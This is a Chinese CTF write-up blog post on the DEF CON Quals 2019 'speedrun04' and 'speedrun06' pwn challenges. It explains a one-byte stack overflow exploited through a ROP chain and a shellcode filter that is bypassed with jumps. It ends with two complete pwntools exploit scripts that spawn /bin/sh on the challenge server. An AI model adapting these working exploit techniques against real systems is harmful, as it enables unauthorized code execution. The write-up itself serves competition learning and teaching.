[Pwn] speedrun04-06 mf xp0int Posted on May 20 2019 ### 介绍 DefconQuals2019,难题基本不会,做了几道简单的speedrun04、speedrun06 ### speedrun04 静态编译,而且strip了,所以可能找不到主函数。找一下字符串,看一下引用就能找到了。 程序很简单,读入长度,然后read读。 漏洞点在长度最多为257,而read所写的buffer只有256长,有一个字节的溢出。 这个溢出将会改掉rbp,所以ret之后栈的内容可以被我们控制。 因为有aslr,所以栈是随机的,改掉最后一位后,栈的位置也不能完全控制(把最后一位写成\x00可以控制栈往前移),所以我们rop的前面需要padding一部分。(脚本见最后) ### speedrun06 程序很简单,读入shellcode后直接运行,但是会对你的shellcode进行一定的处理。 首先会会在前面加一段code,清空除rip外的寄存器;其次会在0x5、0xa、0x14、0x1d这四个位置插入一个0xcc也就是int3。 利用方式,对于寄存器清零,我们可以直接调用syscal,这样rcx会被置为rip;其次对于0xcc,我们选择用jmp跳过去(开gdb的时候你会发现0xcc没影响,不要被它隔断shellcode就好,但是一打远程就会发现会在0xcc处断掉,所以必须jmp过去)(脚本见最后) ### 脚本 ```python #!/usr/bin/env python2 # -*- coding: utf-8 -*- # speedrun04 from pwn import * context.log_level = 'debug' # p = process(binary) p = remote('speedrun-004.quals2019.oooverflow.io',31337) poprax = 0x0000000000415f04 poprdx = 0x000000000044a155 poprsi = 0x0000000000410a93 poprdi = 0x0000000000400686 syscall = 0x0000000000474f15 bss = 0x6BB300 ret = 0x400BD1 rop = [ret] * 12 + [ poprax, 0, poprdi, 0, poprsi, bss, poprdx, 8, syscall, poprax, 59, poprdi, bss, poprsi, 0, poprdx, 0, syscall ] p.recvuntil('have to say?\n') p.sendline('257') payload = ''.join(list(map(p64,rop))) payload = payload.ljust(255,'\x00') + '\x00\x00' p.send(payload) p.sendline('/bin/sh\x00') p.sendline('cat flag') p.interactive() ``` ```python #!/usr/bin/env python2 # -*- coding: utf-8 -*- # speedrun06 from pwn import * context.log_level = 'debug' binary = './speedrun-006' p = process(binary, env=env) # p = remote('speedrun-006.quals2019.oooverflow.io',31337) # jmp '\xeb' shellcode = asm('syscall',arch='amd64') + '\xeb\x02' shellcode += asm('nop\n',arch='amd64') + '\xeb\x03' shellcode += asm('nop\nnop\nmov rsi,rcx\nmov rdx, r11',arch='amd64') + '\xeb\x02' shellcode += asm('nop\nadd rsi,26\nsyscall',arch='amd64') assert len(shellcode) <= 26 shellcode = shellcode.ljust(26, '\x90') p.recvuntil('Send me your ride\n') p.send(shellcode) shellcode = ['mov rsp,rcx','sub rsp,30','mov rax, 59','mov rdi, rsi','add rdi, 29','xor rsi, rsi','xor rdx, rdx','syscall'] shellcode = asm('\n'.join(shellcode),arch='amd64') p.send(shellcode + '/bin/sh\x00') p.sendline('cat flag') p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] speedrun08-09 mf [FIRST CONTACT] CANT_EVEN_UNPLUG_IT - Donek1
没有帐号? 立即注册